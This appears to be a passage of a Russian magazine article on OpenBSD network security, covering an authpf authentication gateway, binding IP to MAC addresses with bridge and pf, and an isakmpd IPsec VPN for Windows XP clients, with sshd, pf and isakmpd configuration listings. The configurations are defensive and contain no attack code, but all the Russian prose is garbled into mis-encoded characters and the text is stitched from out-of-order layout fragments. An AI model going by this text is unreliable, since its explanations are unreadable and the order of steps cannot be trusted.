ñè â pf.conf(5) — ñìîòðè ëèñòèíã 2. È ïåðåçàãðóçèì
íàáîð «ðóëåñåòîâ» ôàéðâîëà:

# pfctl -f /etc/pf.conf

Äàëåå â êîíåö ôàéëà login.conf(5) çàíîñèì ñâåäåíèÿ
î íîâîì êëàññå authpf, ïîëüçîâàòåëè êîòîðîãî â êà-
÷åñòâå ñòàíäàðòíîãî øåëëà áóäóò ïîëó÷àòü authpf:

authpf:\

:shell=/usr/sbin/authpf:\

:tc=default:

Ñ ïîìîùüþ øòàòíîé óòèëèòû cap_mkdb(8) îáíîâ-
ëÿåì õýøèðîâàííóþ áàçó äàííûõ /etc/login.conf.db:

# cap_mkdb /etc/login.conf

Íå áóäåì ïåðåîïðåäåëÿòü çíà÷åíèÿ äèðåêòèâ
anchor è table ïî óìîë÷àíèþ, ïîýòîìó ôàéë auth-
pf.conf îñòàâëÿåì ïóñòûì:

# echo -n > /etc/authpf/authpf.conf

Ïîäãîòàâëèâàåì ïðèâåòñòâåííîå ñîîáùåíèå auth-
pf.message (àíàëîã /etc/motd):

This service is for authorised clients

only. Please play nice.

Ñîçäàåì íîâîãî ïîëüçîâàòåëÿ, êîòîðûé ïðèíàäëå-
æèò êëàññó authpf, âõîäèò â ãðóïïó authpf è â êà÷å-
ñòâå îáîëî÷êè ïîëó÷àåò /usr/sbin/authpf:

# useradd -m -c 'authpf nat user' -g

authpf -L authpf \

-s /usr/sbin/authpf andrushock

# passwd andrushock

Ñîçäàåì íàáîð ïðàâèë ôàéðâîëà äëÿ ïîëüçîâàòå-
ëÿ andrushock (ñìîòðè ëèñòèíã 3):

# mkdir -p /etc/authpf/users/andrushock

Íà ñòîðîíå êëèåíòà îòêðûâàåøü ëþáîé ssh-êëèåíò
(íàïðèìåð Putty èëè SecureCRT), ñîçäàåøü íîâóþ
ñåññèþ, óêàçûâàåøü IP-àäðåñ øëþçà, èìÿ ïîëüçî-
âàòåëÿ è, ïðè íåîáõîäèìîñòè, ðàñïîëîæåíèå ïóá-
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# vi /etc/ssh/sshd_config

# Ðàáîòàåì ñ èñïîëüçîâàíèåì ïðîòîêîëîâ IPv4 è ssh2

AddressFamily inet

Protocol 2

# Îæèäàåì ïîäêëþ÷åíèÿ ïî âñåì äîñòóïíûì ñåòåâûì èíòåðôåéñàì

ListenAddress 0.0.0.0

# Çàïðåùàåì ðåãèñòðàöèþ root'à è ïðèìåíåíèå ïóñòûõ ïàðîëåé

PermitRootLogin no

PermitEmptyPasswords no

# Çà ñ÷åò èñïîëüçîâàíèÿ ïðîòîêîëà ssh2 è ýòèõ äâóõ îïöèé óñëîæíÿåì

ïðîâåäåíèå àòàê òèïà ARP- è IP-spoofing

ClientAliveInterval 15

ClientAliveCountMax 3

# Îòêëþ÷àåì DNS-ðåçîëâèíã

UseDNS no

# Îïðåäåëÿåì ñïèñêè êîíòðîëÿ äîñòóïîì

AllowGroups wheel users authpf

# vi /etc/pf.conf

# Ïîäêëþ÷àåì ìåõàíèçì ÿêîðåé

nat-anchor "authpf/*"

rdr-anchor "authpf/*"

binat-anchor "authpf/*"

...

# Ðàçðåøàåì è ðåãèñòðèðóåì äîñòóï ê sshd (22/tcp), íå îòñëåæèâàÿ 

ñîñòîÿíèå (âçâåäåí/ñáðîøåí) TCP-ôëàãîâ (êëþ÷åâîå ñëîâî 

"flags S/SA" îòñóòñòâóåò)

pass in log on $ext_if inet proto tcp to $ext_if port ssh keep state

...

# Çàêëþ÷èòåëüíîå ïðàâèëî

anchor "authpf/*"

# vi /etc/authpf/users/andrushock/authpf.rules

# Çàäàåì ìàêðîñû

ext_if = "fxp0"

int_if = "fxp1"

# Ïðîèçâîäèì òðàíñëÿöèþ ñåòåâûõ àäðåñîâ

nat pass on $ext_if inet from $user_ip to any -> ($ext_if)

# Îáåñïå÷èâàåì íàøåìó êëèåíòó ïîëó÷åíèå HighID íà ëþáîì eDonkey-ñåðâåðå

rdr pass on $ext_if inet proto tcp from any to any port 4661 -> $user_ip

rdr pass on $ext_if inet proto tcp from any to any port 4662 -> $user_ip

rdr pass on $ext_if inet proto udp from any to any port 4665 -> $user_ip

rdr pass on $ext_if inet proto udp from any to any port 4672 -> $user_ip

# Ïðåäîñòàâëÿåì äîñòóï ê ftp-proxy

rdr pass on $int_if inet proto tcp from $user_ip to any \

port = ftp -> 127.0.0.1 port 8021

# vi /etc/authpf/users/rdp/authpf.rules

# Âíåøíèé ñåòåâîé èíòåðôåéñ

ext_if = "fxp0"

# IP-àäðåñ ñåðâåðà òåðìèíàëîâ

rdp_server = "192.168.1.100"

# Ïåðåàäðåñîâûâàåì âõîäÿùèå RDP-ñîåäèíåíèÿ íà ñåðâåð òåðìèíàëîâ:

rdr on $ext_if inet proto tcp from $user_ip to $ext_if \

port 3389 tag RDP -> $rdp_server

pass in log quick on $ext_if tagged RDP flags S/SA synproxy state

(1)

(3)

(2)

(4)



ëè÷íîãî êëþ÷à. Åñëè âñå ïðàâèëüíî íàñòðîåíî,
òî ïîñëå óñïåøíîé àâòîðèçàöèè ïðàâèëà ôàéðâî-
ëà íà øëþçå äëÿ ýòîãî ïîëüçîâàòåëÿ èçìåíÿòñÿ, è
îí ïîëó÷èò äîñòóï â èíòåðíåò.

c:\putty> plink.exe -pw mypassword

andrushock@192.168.1.1

Hello andrushock. You are authenticated

from host "192.168.1.2"

This service is for authorised clients

only. Please play nice.

×òîáû ïîñòîÿííî íå ââîäèòü ïàðîëü, ìîæíî íàñò-
ðîèòü àóòåíòèôèêàöèþ íà áàçå ïóáëè÷íîãî êëþ÷à.
Äëÿ ïîëüçîâàòåëÿ andrushock ãåíåðèðóåì ïàðó
êëþ÷åé (ñåêðåòíûé è ïóáëè÷íûé):

# sudo -u andrushock ssh-keygen -t rsa

Äîáàâëÿåì ïóáëè÷íûé êëþ÷ â ñïèñîê àâòîðèçîâàí-
íûõ êëþ÷åé:

# cp /home/andrushock/.ssh/id_rsa.pub

/home/andrushock/.ssh/authorized_keys

È äëÿ ôàéëà authorized_keys óñòàíàâëèâàåì êîð-
ðåêòíûå ïðàâà äîñòóïà:

# chown andrushock:authpf

/home/andrushock/.ssh/authorized_keys

ðàçáîðêè ññ ñåðâåðîì òòåðìèíàëîâ. Äàâàé ðàñ-
ñìîòðèì ïðèìåð. Äîïóñòèì, íóæíî èç äîìà ïîëó-
÷èòü äîñòóï ê èíñòèòóòñêîìó ñåðâåðó òåðìèíàëîâ,
ðàñïîëîæåííîìó çà øëþçîì (êîòîðûé òàêæå íàõî-
äèòñÿ â èíñòèòóòå).

ñîçäàåì ííîâîãî ïïîëüçîâàòåëÿ rrdp:
# useradd -m -c 'authpf rdp user' -g

authpf -L authpf \

-s /usr/sbin/authpf rdp

# passwd rdp

# mkdir -p /etc/authpf/users/rdp

È îïðåäåëÿåì äëÿ íåãî ñïåöèàëüíûé íàáîð ïðàâèë
ôàéðâîëà (ñìîòðè ëèñòèíã 4). 

äîñòóï  êê ñåðâåðó òòåðìèíàëîâ ««èçâíå»:
c:\putty> plink.exe -pw mypassword

rdp@81.211.11.11

Hello rdp. You are authenticated from

host "81.211.22.22"

This service is for authorised clients

only. Please play nice.

Òåïåðü äëÿ êëèåíòà 81.211.22.22íà øëþçå 81.211.11.11
ïîðò 3389/tcp áóäåò îòêðûò äî òåõ ïîð, ïîêà ïîëüçîâà-
òåëü rdp â îêíå ssh-êëèåíòà íå íàæìåò êîìáèíàöèþ êëà-
âèø <Ctrl+C>. Âñå, äîñòóï ïîëó÷åí:

c:\putty> mstsc.exe /v:81.211.11.11:3389

êîíòðîëü ààóòåíòèôèöèðîâàííûõ ïïîëüçîâàòå-
ëåé. Òàê êàê øòàòíûå óòèëèòû w è who íå ñïîñîáíû
ïðåäîñòàâëÿòü óíèêàëüíûå èäåíòèôèêàòîðû ïðî-
öåññîâ, ñïèñîê ïîäêëþ÷åííûõ â äàííûé ìîìåíò
ïîëüçîâàòåëåé ìîæíî ïîñìîòðåòü ñ ïîìîùüþ ps:

% ps ax | grep authpf

3884 p1 Is+  0:00.01 -authpf:

andrushock@192.168.1.2 (authpf)

ëèáî ññ ïîìîùüþ ppfctl:
# pfctl -a authpf -sA

authpf/andrushock(3884)

Çäåñü authpf — íàçâàíèå ÿêîðÿ, andrushock — èìÿ
ïîäêëþ÷èâøåãîñÿ ïîëüçîâàòåëÿ, 3884 — óíèêàëü-
íûé èäåíòèôèêàòîð ïðîöåññà îáîëî÷êè authpf.

Ïîñìîòðåòü ïåðñîíèôèöèðîâàííûé íàáîð ïðà-
âèë ôàéðâîëà äëÿ ïîëüçîâàòåëÿ andrushock ìîæíî òàê:

# pfctl -a "authpf/andrushock(3884)" -s nat

# pfctl -a "authpf/andrushock(3884)" -s rules

ïðè ææåëàíèè  ««êèêàåì» ïïîëüçîâàòåëÿ èèç ñèñòåìû:
# kill -TERM 3884

ýíäøïèëü. Â çàêëþ÷åíèè íåëüçÿ íå óïîìÿ-
íóòü î òîì, ÷òî pf ïîääåðæèâàåò òåõíîëîãèþ ïàñ-
ñèâíîãî îïðåäåëåíèÿ âåðñèè îïåðàöèîííîé ñèñòå-
ìû. Ñîîòâåòñòâåííî, â íàøèõ ñèëàõ ïðîèçâîäèòü
ôèëüòðàöèþ ïàêåòîâ íà îñíîâå îòïå÷àòêîâ õîñòîâ,
èíèöèèðîâàâøèõ ñîåäèíåíèå (ê ïðèìåðó, pass in
quick on $int_if from any os «Windows XP» keep state).
Ýòî ìîæåò ñòàòü ñåðüåçíûì ïîäñïîðüåì äëÿ ïîñò-
ðîåíèÿ àóòåíòèôèêàöèîííîãî øëþçà, ñïîñîáíîãî
îáåñïå÷èòü íå òîëüêî èíäèâèäóàëüíûé äîñòóï ê ðå-
ñóðñàì Ñåòè, íî è äîïîëíèòåëüíûé óðîâåíü çàùèòû
ïðè èñïîëüçîâàíèè ñåðâèñîâ
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Â ÊÀ×ÅÑÒÂÅ ÈÑÏÎËÜÇÓÅÌÎÉ ÍÀ ÀÓÒÅÍÒÈÔÈÊÀÖÈÎÍÍÎÌ ØËÞÇÅ
ÎÏÅÐÀÖÈÎÍÍÎÉ ÑÈÑÒÅÌÛ ÌÎÆÅÒ ÂÛÑÒÓÏÀÒÜ ËÞÁÀß
ÈÇ FREE/OPEN/NET/DRAGONFLYBSD

ÏÐÈÂßÇÊÀ IP Ê MAC
Ñ ÏÎÌÎÙÜÞ BRIDE(4)
È PF(4)

Ðàññìîòðèì ïðèìåð ïðåäîñòàâëåíèÿ êëè-
åíòàì (â äàííîì ñëó÷àå — áåñïðîâîäíûì)
äîñòóïà ê ðåñóðñàì Ñåòè ñ ïðèâÿçêîé IP ê
MAC ñ ïîìîùüþ bridge è pf. Â äàííîì ñëó-
÷àå äëÿ ñîçäàíèÿ ìîñòà äîñòàòî÷íî îäíîãî
âíóòðåííåãî ñåòåâîãî èíòåðôåéñà ral0 (ýòî
PCI'íàÿ êàðòî÷êà Gigabyte GN-WPKG 802.11
b/g). Èñõîäíûå äàííûå (â âèäå «èìÿ õîñòà:
IP-àäðåñ, MAC-àäðåñ»):

server: 192.168.2.1

client1: 192.168.2.2,

00:0f:ea:91:43:f6

client2: 192.168.2.3,

00:80:c8:2c:47:a1

ðåäàêòèðóåì
/etc/bridgename.bridge0:
add ral0

blocknonip ral0

link0

-discover ral0

-learn ral0

flushall

static ral0 00:0f:ea:91:43:f6

static ral0 00:80:c8:2c:47:a1

up

rulefile /etc/bridge.conf

ðåäàêòèðóåì //etc/bridge.conf:
pass in on ral0 src

00:0f:ea:91:43:f6 tag

client1

pass in on ral0 src

00:80:c8:2c:47:a1 tag client2

block in on ral0

ñîçäàåì èè ïïîäíèìàåì
ïñåâäîóñòðîéñòâî bbridge:
# ifconfig bridge0 create

# sh /etc/netstart bridge0

äëÿ ïïðîâåðêè ïïðîñìàòðèâàåì
èíôîðìàöèþ îî ááðèäæå:
# brconfig bridge0

ðåäàêòèðóåì //etc/pf.conf:
ext_if = "fxp0"

wifi_if = "ral0"

client1 = "192.168.2.2"

client2 = "192.168.2.3"

nat on $ext_if inet fr-

om {$client1, $client2 }

to any -> ($ext_if)

block in quick on $wifi_if

from ! $client1 to any

tagged client1

block in quick on $wifi_if

from ! $client2 to any

tagged client2

block return

pass quick on { lo0,

$wifi_if } inet all

pass quick on $ext_if inet

all keep state

ïåðåçàãðóæàåì ííàáîð
«ðóëåñåòîâ» ôôàéðâîëà:
# pfctl -f /etc/pf.conf
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Îñíîâíûå öåëè VPN — îáåñïå÷åíèå ïðîçðà÷íîãî
äîñòóïà ê ðåñóðñàì óäàëåííîé ñåòè è èñêëþ÷åíèå
âåðîÿòíîñòè óòå÷êè êîíôèäåíöèàëüíîé èíôîðìà-
öèè çà ñ÷åò èñïîëüçîâàíèÿ êðèïòîñòîéêîãî øèô-
ðîâàíèÿ ïåðåäàâàåìûõ äàííûõ. Ïîñìîòðèì, êàê
ìîæíî çàùèòèòü ñåòåâîé òðàôèê ïðîâîäíûõ è
áåñïðîâîäíûõ WinXP-êëèåíòîâ ñ ïîìîùüþ òåõíî-
ëîãèè VPN.

îäà IIPsec. Äëÿ ñîçäàíèÿ VPN ìîãóò èñïîëüçî-
âàòüñÿ ïðîòîêîëû IPsec, SSL èëè PPTP. Òåì íå ìå-
íåå, ïîäàâëÿþùåå áîëüøèíñòâî ðàçðàáîò÷èêîâ
ñåòåâîãî îáîðóäîâàíèÿ îòäàåò ïðåäïî÷òåíèå ïåð-
âîìó âàðèàíòó. Âî-ïåðâûõ, ïîòîìó ÷òî IPsec áûë
ñïåöèàëüíî ñîçäàí äëÿ îáåñïå÷åíèÿ áåçîïàñíîñòè
â áàçîâûõ ïðîòîêîëàõ ñåìåéñòâà TCP/IP, à âî-âòî-
ðûõ, îí áîëåå ãèáîê è óäîáåí, íåæåëè ëþáîé ïðî-

òîêîë ïðèêëàäíîãî óðîâíÿ. Íå áóäåì ïðåíåáðåãàòü
ýêñïåðòíûì ìíåíèåì ñåòåâûõ ñïåöèàëèñòîâ è òî-
æå îñòàíîâèìñÿ íà ýòîì ñòàíäàðòå.

IP Security — ýòî öåëûé íàáîð ïðîòîêîëîâ, êà-
ñàþùèõñÿ âîïðîñîâ øèôðîâàíèÿ, àóòåíòèôèêàöèè
è îáåñïå÷åíèÿ çàùèòû ïðè òðàíñïîðòèðîâêå IP-ïà-
êåòîâ. Â ñïåöèôèêàöèè IPsec ãàðàíòèè öåëîñòíîñòè

è êîíôèäåíöèàëüíîñòè äàííûõ îáåñïå÷èâàþòñÿ çà
ñ÷åò èñïîëüçîâàíèÿ ìåõàíèçìîâ àóòåíòèôèêàöèè è
øèôðîâàíèÿ. Àóòåíòèôèêàöèÿ âûïîëíÿåòñÿ ïðîòî-
êîëîì AH (Authentication Header — çàãîëîâîê àóòåí-
òèôèêàöèè), à øèôðîâàíèå — ïðîòîêîëîì ESP
(Encapsulating Security Payload — èíêàïñóëèðîâàí-
íûå çàùèùåííûå äàííûå). Îáà ïðîòîêîëà äîáàâ-
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È ÁÅÑÏÐÎÂÎÄÍÛÕ WINXP-ÊËÈÅÍÒÎÂ
ÏÎÄ ÀÁÁÐÅÂÈÀÒÓÐÎÉ VPN ÑÊÐÛÂÀÅÒÑß ÑËÎÂÎÑÎ×ÅÒÀÍÈÅ VIRTUAL PRIVATE NETWORK —
ÂÈÐÒÓÀËÜÍÀß ×ÀÑÒÍÀß ÑÅÒÜ. ÝÒÎ ÒÅÐÐÈÒÎÐÈÀËÜÍÎ-ÐÀÑÏÐÅÄÅËÅÍÍÀß ÑÅÒÜ ÏÅÐÅÄÀ×È
ÄÀÍÍÛÕ, ÑÎÑÒÎßÙÀß ÈÇ IP-ÏÎÄÑÅÒÅÉ, ÑÂßÇÀÍÍÛÕ ÌÅÆÄÓ ÑÎÁÎÉ ×ÅÐÅÇ
ÎÁÙÅÄÎÑÒÓÏÍÓÞ ÑÅÒÜ (ÍÀÏÐÈÌÅÐ, ×ÅÐÅÇ ÈÍÒÅÐÍÅÒ) Ñ ÏÎÌÎÙÜÞ ÇÀÙÈÙÅÍÍÛÕ
ÏÐÎÒÎÊÎËÎÂ

Andrey Matveev 
andrushock@real.xakep.ru

ìàñêèðîâêà
íà ììåñòíîñòè

Ñõåìà 1

Íîóòáóê
192.168.2.2

Äîìàøíèé
ñåðâåð

192.168.2.1

Ïðîâàéäåð
wireless

ipsec
(ral0) (fxp0)



ëÿþò ñîáñòâåííûå çàãîëîâêè è èìåþò ñâîé ID (AH
èìååò ID ïðîòîêîëà — 51, ESP — 50), ïî êîòîðîìó
ìîæíî îïðåäåëèòü, ÷òî ïîñëåäóåò çà çàãîëîâêîì IP.

Ëîãèêà ðàáîòû IPSec ðóêîâîäñòâóåòñÿ îäíèì
èç òðåõ ñïîñîáîâ: êîìïüþòåð — êîìïüþòåð,
êîìïüþòåð — ñåòü, ñåòü — ñåòü. Îñòàíîâèìñÿ íà
ïåðâîì è òðåòüåì ñöåíàðèÿõ ðàáîòû.

ðàçâåäêà ííà ììåñòíîñòè. Çà ïîñëåäíèå íåñ-
êîëüêî ëåò áåñïðîâîäíûå ñåòè ïîëó÷èëè øèðîêîå
ðàñïðîñòðàíåíèå âî âñåì ìèðå. Ïðèíèìàÿ ðåøå-
íèå î ïîñòðîåíèè wlan, òû äîëæåí ÷åòêî ïðåäñòàâ-
ëÿòü ñåáå íå òîëüêî äîñòîèíñòâà, íî è íåäîñòàòêè
WiFi-òåõíîëîãèé. Ñåé÷àñ êðèïòîãðàôè÷åñêîé ñëà-
áîñòüþ WEP ìîæåò âîñïîëüçîâàòüñÿ ëþáîé æåëà-
þùèé: ïîääåðæêà íîâûõ ìåõàíèçìîâ áåçîïàñíîñ-
òè WPA/WPA2 ïðèñóòñòâóåò äàëåêî íå âî âñåõ ñèñ-
òåìàõ, à ñòîèìîñòü àïïàðàòíûõ VPN-óñòðîéñòâ äî-
âîëüíî âûñîêà. Âîçíèêàåò ðåçîííûé âîïðîñ: òîãäà
ïî÷åìó áû äëÿ çàùèòû ïåðåäàâàåìîãî òðàôèêà íå
âîñïîëüçîâàòüñÿ ïðîãðàììíûì ðåøåíèåì, íàïðè-
ìåð íà áàçå *BSD?

Ïîñëåäíÿÿ âåðñèÿ (íà ìîìåíò íàïèñàíèÿ
ñòàòüè — 3.9) óëüòðàñåêüþðíîé OpenBSD êàê
íåëüçÿ ëó÷øå ïîäîéäåò äëÿ âûïîëíåíèÿ íàøåé
ìèññèè. Ýòà îïåðàöèîííàÿ ñèñòåìà îáëàäàåò
ïðåêðàñíîé ðåàëèçàöèåé ñòåêà TCP/IP è ïðîòîêî-
ëà IPSec. Êðîìå òîãî, â åå ñîñòàâ âõîäèò îòëè÷íûé
ôàéðâîë Packet Filter (pf) è äåìîí isakmpd, êîòî-
ðûé îáåñïå÷èâàåò ðàáîòó ïî ïðîòîêîëó îáìåíà
ñåêðåòíûìè êëþ÷àìè (ISAKMP). Êñòàòè, íàñòðîé-
êà FreeBSD, NetBSD è DragonflyBSD áóäåò îòëè-
÷àòüñÿ íåñèëüíî.

Íàøà ïåðâàÿ ñõåìà âûãëÿäèò ñëåäóþùèì
îáðàçîì (ñìîòðè ñõåìó 1). Çäåñü ral0 — ýòî ñåòå-
âîé èíòåðôåéñ, çàêðåïëåííûé çà PCI'íîé êàðòî÷-
êîé Gigabyte GN-WPKG 802.11 b/g è îñóùåñòâëÿþ-
ùèé ðàáîòó ïî ñïåöèôèêàöèè 802.11g (mode 11g)
íà 11-îì ÷àñòîòíîì êàíàëå (chan 11) â ðåæèìå òî÷-
êè äîñòóïà (mediaopt hostap) ñ óíèêàëüíûì èäåíòè-
ôèêàòîðîì ñåòè (nwid wlan).

# vi /etc/hostname.ral0

inet 192.168.2.1 255.255.255.0 NONE

media autoselect mode 11g \

mediaopt hostap nwid wlan chan 11

Åñëè ó áåñïðîâîäíîãî êëèåíòà (òåñòèðîâàíèå ïðî-
âîäèëîñü íà íîóòå ñ WinXP SP2) ñîîòâåòñòâóþùèì
îáðàçîì íàñòðîåíà ïîëèòèêà IPSec, âåñü âíóòðåí-
íèé òðàôèê áóäåò øèôðîâàòüñÿ çà ñ÷åò îðãàíèçà-
öèè IPSec-òóííåëÿ ñ àóòåíòèôèêàöèåé íà îñíîâå
ïàðîëüíîé ôðàçû («preshared key» — áóäåì íàçû-
âàòü èìåííî òàê, ÷òîáû èçáåæàòü ïóòàíèöû ñ äðó-
ãèìè êëþ÷àìè).

ÏÐÈÌÅ×ÀÍÈÅ:  ÍÀÑÒÐÎÉÊÀ ÏÐÎÂÎÄÍÎÃÎ ÊËÈ-

ÅÍÒÀ ÏÎËÍÎÑÒÜÞ ÀÍÀËÎÃÈ×ÍÀ ÍÀÑÒÐÎÉÊÅ ÁÅÑÏÐÎ-

ÂÎÄÍÎÃÎ ÊËÈÅÍÒÀ.

âåðíèñàæ IIPSec-òòóííåëåé. Äåìîí isakmpd (8)
ïîçâîëÿåò ñîçäàâàòü íåâåðîÿòíîå êîëè÷åñòâî
IPSec-òóííåëåé, èñïîëüçóÿ ïðè ýòîì ðàçëè÷íûå àë-
ãîðèòìû øèôðîâàíèÿ (3des, idea, cast, blowfish, aes

äëÿ àòðèáóòà esp_enc_alg ïðîòîêîëà ESP) è ìåòî-
äû àóòåíòèôèêàöèè (íà îñíîâå ïàðîëüíîé ôðàçû,
ñåðâåðíûõ êëþ÷åé, Keynote è X.509 ñåðòèôèêà-
òîâ). Ìû áóäåì ðàññìàòðèâàòü ìåòîä àóòåíòèôè-
êàöèè íà îñíîâå ïàðîëüíîé ôðàçû, íî â ñëó÷àå
âíóøèòåëüíîãî ÷èñëà wlan-êëèåíòîâ ñâîé âûáîð
ëó÷øå îñòàíîâèòü íà X.509 auth. Äåìîí ïðîñòî ïîò-
ðÿñàåò ñâîèìè âîçìîæíîñòÿìè, òàê ÷òî áóäåò
íå ïðîñòî íàéòè òàêóþ çàäà÷ó ïîñòðîåíèÿ VPN,
ñ êîòîðîé îí íå ìîã áû ñïðàâèòüñÿ.

Äëÿ óäîáñòâà ãëàâíûé êîíôèãóðàöèîííûé
ôàéë ñåðâåðà îáìåíà êëþ÷åé ðàçáèò íà ñåêöèè è
ñîäåðæèò äèðåêòèâû ñ ïðèñâîåííûìè çíà÷åíèÿ-
ìè (ñìîòðè ëèñòèíã 1). 

Òåïåðü íåîáõîäèìî ñîçäàòü isakmpd.policy (5),
ñîäåðæàùèé ïîëèòèêó äëÿ âñåõ IPSec-ñîåäèíåíèé:

KeyNote-Version: 2

Authorizer: "POLICY"

Conditions: app_domain == "IPsec policy" &&

doi == "ipsec" &&

ah_present == "no" &&

esp_present == "yes" &&

(esp_enc_alg == "aes" && esp_auth_alg ==

"hmac-sha") &&

esp_encapsulation == "tunnel" &&

pfs == "yes" -> "true";

Âûñòàâëÿåøü êîððåêòíûå ïðàâà äëÿ êîíôèãîâ:

# chown root:wheel /etc/isakmpd/isakmpd.*

# chmod 600 /etc/isakmpd/isakmpd.*

È çàïóñêàåøü äåìîí íà îðáèòó, ïðåäâàðèòåëüíî
îòêàçàâøèñü îò èñïîëüçîâàíèÿ ïðîòîêîëà IPv6 è
ðåàëèçàöèè NAT-Traversal:

# isakmpd -4T

25

Îáëàñòü
èíòåðïðåòàöèè

(DOI)

Ïðîòîêîë ESP

Àëãîðèòì
êîäèðîâàíèÿ

Àëãîðèòì
àóòåíòèôèêàöèè

Ïðîòîêîë AH

Àðõèòåêòóðà

# vi /etc/isakmpd/isakmpd.conf

#Ñåêöèÿ îáùåãî íàçíà÷åíèÿ: 

êîëè÷åñòâî ïîâòîðîâ, ïðîäîëæèòåëüíîñòü 

òàéìàóòîâ,IP-àäðåñ ïðîñëóøèâàåìîãî 

èíòåðôåéñà, àáñîëþòíûé ïóòü ê ôàéëó 

ñ IPsec-ïîëèòèêàìè

[General]

Retransmits= 5

Exchange-max-time= 120

Listen-on= 192.168.2.1

Policy-File= /etc/isakmpd/isakmpd.policy

#Ïåðå÷èñëÿåì ôàçû ñîåäèíåíèé è ñîçäàåì 

ñïèñîê IPsec-òóííåëåé

[Phase 1]

Default=SECUREWLAN-1

[SECUREWLAN-1]

Phase= 1

Transport= udp

Configuration= Default-main-mode

Authentication= mypassword

[Default-main-mode]

DOI= IPSEC

EXCHANGE_TYPE= ID_PROT

Transforms= AES-SHA

[Phase 2]

Passive-connections= SECUREWLAN-2

[SECUREWLAN-2]

Phase= 2

ISAKMP-peer= SECUREWLAN-1

Configuration= Default-quick-mode

Local-ID= wlan-router

#Çàäàåì ìàðøðóò äëÿ èíêàïñóëèðîâàííûõ 

ñîåäèíåíèé

[wlan-router]

ID-type= IPV4_ADDR_SUBNET

Network= 0.0.0.0

Netmask= 0.0.0.0

#Óêàçûâàåì ïðåäïî÷èòàåìûå ïðîòîêîëû, 

øèôðû, óñòîé÷èâûå ê êîëëèçèÿì

#õýø-ôóíêöèè, à òàêæå èñïîëüçîâàíèå 

ðåæèìà Perfect Forward Secrecy

[Default-quick-mode]

DOI= IPSEC

EXCHANGE_TYPE= QUICK_MODE

Suites= QM-ESP-AES-SHA-PFS-SUITE

[AES-SHA]

ENCRYPTION_ALGORITHM= AES_CBC

KEY_LENGTH= 128,128:256

HASH_ALGORITHM= SHA

AUTHENTICATION_METHOD= PRE_SHARED

GROUP_DESCRIPTION= MODP_1024

[QM-ESP-AES-SHA-PFS-SUITE]

PROTOCOL_ID= IPSEC_ESP

Transforms= QM-ESP-AES-SHA-PFS-XF

[QM-ESP-AES-SHA-PFS-XF]

TRANSFORM_ID= AES

KEY_LENGTH= 128,128:256

ENCAPSULATION_MODE= TUNNEL

AUTHENTICATION_ALGORITHM=HMAC_SHA

GROUP_DESCRIPTION= MODP_1024

(1)

Óïðàâëåíèå êëþ÷àìè

Àðõèòåêòóðà IPsec



êîíôèãóðàöèÿ ááðàíäìàóýðà. Äëÿ ðàáîòû IPSec
íåîáõîäèìî îòêðûòü ïîðò 500/udp, ïî êîòîðîìó èäåò
îáìåí ñåðòèôèêàòàìè è êëþ÷àìè, à òàêæå ðàçðå-
øèòü ïðîõîæäåíèå çàøèôðîâàííîãî òðàôèêà. Èç-
ìåíÿåøü ïðàâèëà ôàéðâîëà (ñìîòðè ëèñòèíã 2).

Ñ ïîìîùüþ çàðåçåðâèðîâàííîãî ìàêðîñà
«:network» îïðåäåëÿåòñÿ CIDR-íîòàöèÿ ñåòè. Â íà-
øåì ñëó÷àå êîíñòðóêöèÿ «$int_if:network» áóäåò îç-
íà÷àòü 192.168.2.0/24 (ìàñêà ïîäñåòè 255.255.255.0). 

È äàåøü óêàçàíèå øòàòíîé óòèëèòå pfctl (8)
ïåðå÷èòàòü íàáîð «ðóëåñåòîâ»:

# pfctl -f /etc/pf.conf

íà ññòîðîíå êêëèåíòà. Êëèåíòñêàÿ íàñòðîéêà
IPSec â WinXP äîâîëüíî óòîìèòåëüíà è íàïîìèíà-
åò ïðîõîæäåíèå õèòðîóìíîãî êâåñòà:

1 START RUN ÇÀÏÓÑÊÀÅØÜ MMC;

2 FILE ADD/REMOVE SNAP-IN IP SECU-
RITY POLICY MANAGEMENT LOCAL
COMPUTER FINISH CLOSE;

3 ACTION CREATE IP SECURITY POLICY
NEXT NEXT ÑÍÈÌÀÅØÜ ÃÀËÎ×ÊÓ
Ñ ACTIVATE THE DEFAULT RESPONCE
RULE EDIT PROPERTIES ÎÑÒÀÂËßÅØÜ
ÍÅÒÐÎÍÓÒÛÌ NEXT FINISH;

4 NEW IP SECURITY POLICY PROPER-
TIES ADD NEXT TUNNEL
ENDPOINT THIS RULE DOES NOT SPECI-
FY A TUNNEL NETWORK TYPE — LOCAL
AREA NETWORK (LAN) AUTHENTICATION
METHOD USE THIS STRING TO PROTECT
THE KEY EXCHANGE (PRESHARED KEY)
ÓÊÀÇÛÂÀÅØÜ MYPASSWORD ÈÇ ÔÀÉËÀ
/ETC/ISAKMPD/ISAKMPD.CONF IP FILTER
LIST ADD ADD NEXT SOURCE
ADDRESS MY IP ADDRESS DESTINA-
TION ADDRESS A SPECIFIC IP
ADDRESS 192.168.2.1 SELECT A PRO-
TOCOL TYPE ANY, 0 ÓÑÒÀÍÀÂËÈÂÀ-
ÅØÜ ÃÀËÎ×ÊÓ EDIT PROPERTIES
FINISH ÏÐÎÂÅÐßÅØÜ ÂÂÅÄÅÍÍÛÅ
ÍÀÑÒÐÎÉÊÈ OK;

5 NEW IP FILTER LIST NEXT FILTER
ACTION REQUIRE SECURITY EDIT
ÓÑÒÀÍÀÂËÈÂÀÅØÜ NEGOTIATE
SECURITY ÎÒÌÅ×ÀÅØÜ SESSION KEY
PERFECT FORWARD SECRECY (PFS)
OK NEXT FINISH APPLY OK

6 CONSOLE1 FILE SAVE;

7 ÏÅÐÅÇÀÃÐÓÆÀÅØÜÑß, ËÈÁÎ ÏÅÐÅÇÀ-
ÏÓÑÊÀÅØÜ ÑÅÐÂÈÑ IPSEC SERVICES
(ËÓ×ØÅ ÏÅÐÅÇÀÃÐÓÇÈÒÜÑß);

8 START RUN MMC FILE CON-
SOLE1 NEW IP SECURITY POLICY
ASSIGN.
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vi /etc/pf.conf

# Îáúÿâëÿåì ìàêðîñû

enc_if = "enc0"

int_if = "ral0"

vpn_client = "192.168.2.2/32"

# Ðàçðåøàåì è ðåãèñòðèðóåì äîñòóï ê isakmpd (500/udp)

pass in log quick on $int_if inet proto udp from $int_if:network \

to $int_if port isakmp keep state

# Ðàçðåøàåì ïðîõîæäåíèå çàøèôðîâàííîãî òðàôèêà

pass in on $int_if inet proto esp from $vpn_client to $int_if

pass out on $int_if inet proto esp from $int_if to $vpn_client

pass in on $enc_if inet proto ipencap all

pass in on $enc_if inet from $vpn_client to $int_if:network

